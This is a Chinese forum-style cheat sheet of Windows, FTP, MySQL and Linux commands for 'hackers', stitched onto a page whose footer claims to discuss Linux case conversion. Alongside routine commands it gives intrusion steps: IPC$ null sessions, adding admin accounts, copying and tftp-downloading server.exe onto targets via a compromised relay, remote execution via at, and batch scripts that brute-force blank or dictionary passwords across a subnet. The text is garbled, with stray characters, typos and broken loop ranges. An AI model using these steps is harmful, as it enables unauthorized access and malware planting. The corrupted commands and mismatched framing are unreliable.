缺乏良好管理的网络(我们大多数人的实际环境),网管经常搞不清

有多少机器在运行,或者已经有多少个ip正在使用。

如何在5分钟内拿到一个列表?只要一条dos命令即可:

@rem pingall.bat Createdby Bankin

@for /L %%A in (1,1,254) do pin 192.168.1.%%A |find “Reply”>> pingall.log

顺便说一句,windows2023的dos命令做了很多扩展,虽然比unix shell还差

很多,可是已经能做一些复杂的脚本,而且在网络方面还有netsh命令集,值得好好研究。

3.变态用法:搜索当前网段内所有的ip地址/mac对照表

首先我们做一个批处理,ping 1个ip地址,如果有reply,就调用arp -a命令,查看当前arp缓存里的ip-mac列表,并且再用dos筛选命令find找出当前目标ip地址。

@rem arplist.bat Createdby Bankin

@echo off

call pin %1 | find “Reply”>nul

if %ERRORLEVEL%==0 goto arplist

goto end

:arplist

arp -a |find “%1”

:end

然后用类似上一节的方法做一个子网ip地址循环脚本来调用arplist.bat。

@rem arpall.bat Createdby Bankin

@for /L %%A in (1,1,254) do arplist 192.168.1.%%A >> arpall.log

注意:这个脚本不太完善,比如用192.168.1.1过滤arp表时,192.168.1.1**都会输出,而且不能处理本机ip,所以做好后要手工修改一下

net use $”>\\ip\ipc$ ” ” /user:” ” 建立IPC空链接

net use $”>\\ip\ipc$ “密码” /user:”用户名” 建立IPC非空链接

net use h: $”>\\ip\c$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:

net use h: $”>\\ip\c$ 登陆后映射对方C:到本地为H:

net use $”>\\ip\ipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数

net start 查看开启了哪些服务

net start 服务名 开启服务;(如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time \\目标ip 查看对方时间

net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view \\ip 查看对方局域网内开启了哪些共享

net config 显示系统网络设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip “文本信息” 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C:共享

net user guest用guest用户登陆后用将密码改为

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的网络连接情况,常用netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l数据包大小”;“-n发送数据次数”;“-t”指一直ping。

ping -t -lip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

del -F 文件名 加-F参数后就可删除只读文件,/AR、/燃陆段AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录悉嫌下除系统文件以外的所有文件

del /皮誉S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,”> “和”> >” 是重定向命令

at id号 开启已注册的某个计划任务

作者: 心碎的秋天:27 回复此发言

2 DOS黑客常用命令大全!!!!!!

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为23

open ip 连接到IP(属telnet登陆后的命令)

telnet 在本机上直接键入telnet 将进入本机的telnet

copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

copy c:\srv.exe $”>\\ip\admin$ 复制本地c:\srv.exe到对方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

copy $\svv.exe”>\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机

ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并更大化(最小化)运行某程序或命令

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件(目录)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序,并显示出:请按任意键继续….

if 在批处理程序中执行条件处理(更多说明见if命令及变量)

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 >> pass.txt 将”信息”保存到pass.txt文件中

findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

作者: 心碎的秋天:27 回复此发言

3 DOS黑客常用命令大全!!!!!!

prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

print 文件名 打印文本文件

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 目录名 创建目录

replace 源文件 要替换文件的目录 替换文件

ren 原文件名 新文件名 重命名文件名

tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的命令=字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

path 路径\可执行文件的文件名 为可执行文件设置一个路径。

cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

regedit /e 注册表文件名 导出注册表

cacls 文件名 参数 显示或修改文件访问控制列表(ACL)–针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。

cacls 文件名 查看文件的访问用户权限列表

REM 文本内容 在批处理文件中添加注解

netsh 查看或更改本地网络配置情况

IIS服务命令:

iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

iisreset /start或stop 启动(停止)所有Internet服务

iisreset /restart 停止然后重新启动所有Internet服务

iisreset /status 显示所有Internet服务状态

iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务

iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

FTP 命令: (后面有详细说明内容)

ftp的命令行格式为:

ftp -v -d -i -n -g -v 显示远程服务器的所有响应信息。

-d 使用调试方式。

-n 限制ftp的自动登录,即不使用.netrc文件。

-g 取消全局文件名。

help 或 ? 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 将本地一个文件传送至远端主机中

get 或 recv 从远端主机中传送至本地主机中

mget 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

ascii 设定以ASCII方式传送文件(缺省值)

作者: 心碎的秋天:27 回复此发言

4 DOS黑客常用命令大全!!!!!!

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件

mdelete 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename 改变远端主机中的文件名

rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态

system 显示远端主机系统类型

user user-name 重新以别的用户名登录远端主机

open host 重新建立一个新的连接

prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote-dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

MYSQL 命令:

mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

(例:mysql -h110.110.110.110 -Uroot -P

注:u与root可以不用加空格,其它也一样)

exit 退出MYSQL

mysqladmin -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by \”密码\”; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

use mysql;

show tables; 显示库中的数据表

describe 表名; 显示数据表的结构

create database 库名; 建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名;

drop table 表名; 删库和删表

delete from 表名; 将表中记录清空

select * from 表名; 显示表中的记录

mysqldump –opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。

win2023系统下新增命令(实用部份):

shutdown /参数 关闭或重启本地或远程主机。

参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。

例:shutdown /r /t 0 立即重启本地主机(无延时)

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

Linux系统下基本命令: 要区分大小写

uname 显示版本信息(同win2K的 ver)

dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)

pwd 查询当前所在的目录位置

cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。

cat 文件名 查看文件内容

cat >abc.txt 往abc.txt文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。

cp 复制文件

mv 移动文件

rm 文件名 删除文件,rm -a 目录名删除目录及子目录

5 DOS黑客常用命令大全!!!!!!

mkdir 目录名 建立目录

rmdir 删除子目录,目录内没有文档。

chmod 设定档案或目录的存取权限

grep 在档案中查找字符串

diff 档案文件比较

find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及Login时间地点

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件

su 权限转换为指定使用者

telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。

ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:

FOR /参数 %variable IN (set) DO command %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处理每次能处理的变量从%0-%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的之一个值,同理:%2-%9指输入的第2-9个值;例:net use $”>\\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和()(),{“()”之一个”1″指起始值,第二个”1″指增长量,第三个”254″指结束值,即:从1到254;“()”说明:即从254到1}

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开

command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。

用法举例:

@echo off

echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in () do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find “命令成功完成” >>test.txt

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有”命令成功完成”信息;%1.%%G 为完整的IP地址;() 指起始值,增长量,结止值。

@echo off

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:\user.dic) DO b.exe %1 %%i D:\pass.dic

存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

关于linux大小写转换的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。


数据运维技术 » 简单易学!Linux大小写转换技巧详解 (linux大小写转换)